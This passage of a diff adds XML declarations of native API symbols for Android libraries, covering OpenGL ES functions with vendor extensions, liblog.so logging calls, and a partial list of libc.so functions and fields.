+      <method abstract="false" deprecated="not deprecated" final="true" name="glAttachShader" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glDeleteTextures" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetVertexAttribfv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glUniform2f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glBindBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glPixelStorei" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glUniform2i" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glBindVertexArrayOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetPerfMonitorGroupsAMD" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetUniformLocation" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glIsTexture" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glExtGetTexturesQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glCopyTexSubImage3DOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glBindFramebuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetPerfMonitorCounterDataAMD" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetVertexAttribPointerv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glBufferData" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glTestFenceNV" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glDeleteVertexArraysOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetPerfMonitorCountersAMD" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glUniformMatrix3fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glDisable" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetRenderbufferParameteriv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glCompileShader" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glCompressedTexSubImage3DOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glEGLImageTargetTexture2DOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetError" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glSampleCoverage" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glUniform1iv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glDepthFunc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glFramebufferRenderbuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glStencilOpSeparate" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glUniform3f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetShaderSource" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetPerfMonitorCounterStringAMD" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glUniform2fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glUniform3i" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glReadPixels" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glCoverageOperationNV" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glUniform3iv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glVertexAttribPointer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGenPerfMonitorsAMD" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glVertexAttrib1f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glStencilFuncSeparate" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glCheckFramebufferStatus" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glIsProgram" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glUniform4fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glBlendColor" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glCoverageMaskNV" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glFramebufferTexture2D" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glMultiDrawArraysEXT" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glBindTexture" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetFloatv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glDeleteFramebuffers" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGenBuffers" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetFramebufferAttachmentParameteriv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glShaderBinary" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glClear" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glEnable" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glVertexAttrib2fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glClearColor" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glIsRenderbuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glDetachShader" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetAttachedShaders" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetTexParameteriv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glRenderbufferStorageMultisampleIMG" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glCompressedTexImage3DOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glUniform4f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glBlendEquation" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glIsEnabled" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glProgramBinaryOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glUniform4i" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glVertexAttrib4fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glColorMask" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glExtGetRenderbuffersQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glCreateShader" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glEndTilingQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glDisableDriverControlQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glEnableVertexAttribArray" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glBlendFunc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetProgramBinaryOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glStencilOp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glVertexAttrib2f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetUniformfv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glTexImage2D" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glFlush" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGenFramebuffers" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glCreateProgram" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glStartTilingQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glDeleteFencesNV" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glIsShader" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glDepthMask" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetShaderiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glIsBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetBooleanv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glTexParameterfv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glUseProgram" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glDeleteShader" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetShaderPrecisionFormat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glEndPerfMonitorAMD" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glValidateProgram" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glBlendFuncSeparate" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glStencilFunc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glTexImage3DOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glActiveTexture" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glEGLImageTargetRenderbufferStorageOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glUnmapBufferOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGenRenderbuffers" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetVertexAttribiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glIsFenceNV" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glDeleteProgram" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetBufferPointervOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetString" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glStencilMaskSeparate" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glBindRenderbuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glDiscardFramebufferEXT" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glDepthRangef" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glExtGetFramebuffersQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glVertexAttrib3f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glClearDepthf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glCompressedTexSubImage2D" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glMapBufferOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glFrontFace" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGenTextures" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glUniformMatrix2fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glCopyTexSubImage2D" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetFenceivNV" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glHint" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glDrawArrays" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glScissor" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glLinkProgram" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glUniformMatrix4fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glDeleteBuffers" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glExtGetTexLevelParameterivQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGenVertexArraysOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glTexSubImage3DOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glUniform1fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glExtIsProgramBinaryQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glBindAttribLocation" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetDriverControlsQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glDeletePerfMonitorsAMD" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetShaderInfoLog" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glUniform2iv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+    </class>
+    <class abstract="false" deprecated="not deprecated" final="true" name="liblog.so" static="false" visibility="public">
+      <method abstract="false" deprecated="not deprecated" final="true" name="__android_log_is_loggable_len" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__android_log_is_loggable" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__android_log_assert" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__android_log_print" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__android_log_write" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__android_log_vprint" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <field deprecated="not deprecated" final="true" name="LIBLOG" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="LIBLOG_O" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="LIBLOG_M" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+    </class>
+    <class abstract="false" deprecated="not deprecated" final="true" name="libc.so" static="false" visibility="public">
+      <method abstract="false" deprecated="not deprecated" final="true" name="__fpclassifyd" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="strlen" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vfprintf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="mkdirat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="sched_setparam" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="srandom" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__fpclassifyf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <field deprecated="not deprecated" final="true" name="in6addr_any" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="epoll_create1" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="grantpt" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pthread_mutex_init" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="settimeofday" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="strncasecmp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="cfsetispeed" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pthread_mutex_unlock" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="sem_unlink" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__fpclassifyl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vasprintf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__strlen_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="getpriority" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="strtoll_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="geteuid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="strndup" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="mkstemp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__dn_comp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="iswprint" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="prctl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="setpwent" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="posix_fadvise64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="wctype" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__sendto_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="towctrans_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__freadable" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="get_nprocs_conf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="iswalnum_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pthread_mutexattr_destroy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__pthread_cleanup_push" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="setservent" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="_tolower" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="fstatvfs" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="getrlimit64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="malloc_usable_size" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="wmemcmp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="closedir" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="setsockopt" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="iswxdigit_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="mkfifoat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="clearerr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="localtime_r" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="fgetln" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="psiginfo" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="fsetpos" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="sigsetmask" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="getaddrinfo" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pthread_getname_np" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="wcscoll" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__dn_skipname" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="dup" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="fflush" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <field deprecated="not deprecated" final="true" name="stderr" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="sys_signame" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="getitimer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pthread_rwlock_rdlock" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="fprintf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="fstat64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="isnan" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="getservbyport" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__loc_aton" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="getnetbyaddr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="setmntent" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__res_dnok" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pthread_spin_unlock" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="epoll_pwait" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="localeconv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="putc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="shutdown" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="cfsetospeed" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="fchmodat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="if_freenameindex" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <field deprecated="not deprecated" final="true" name="in6addr_loopback" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
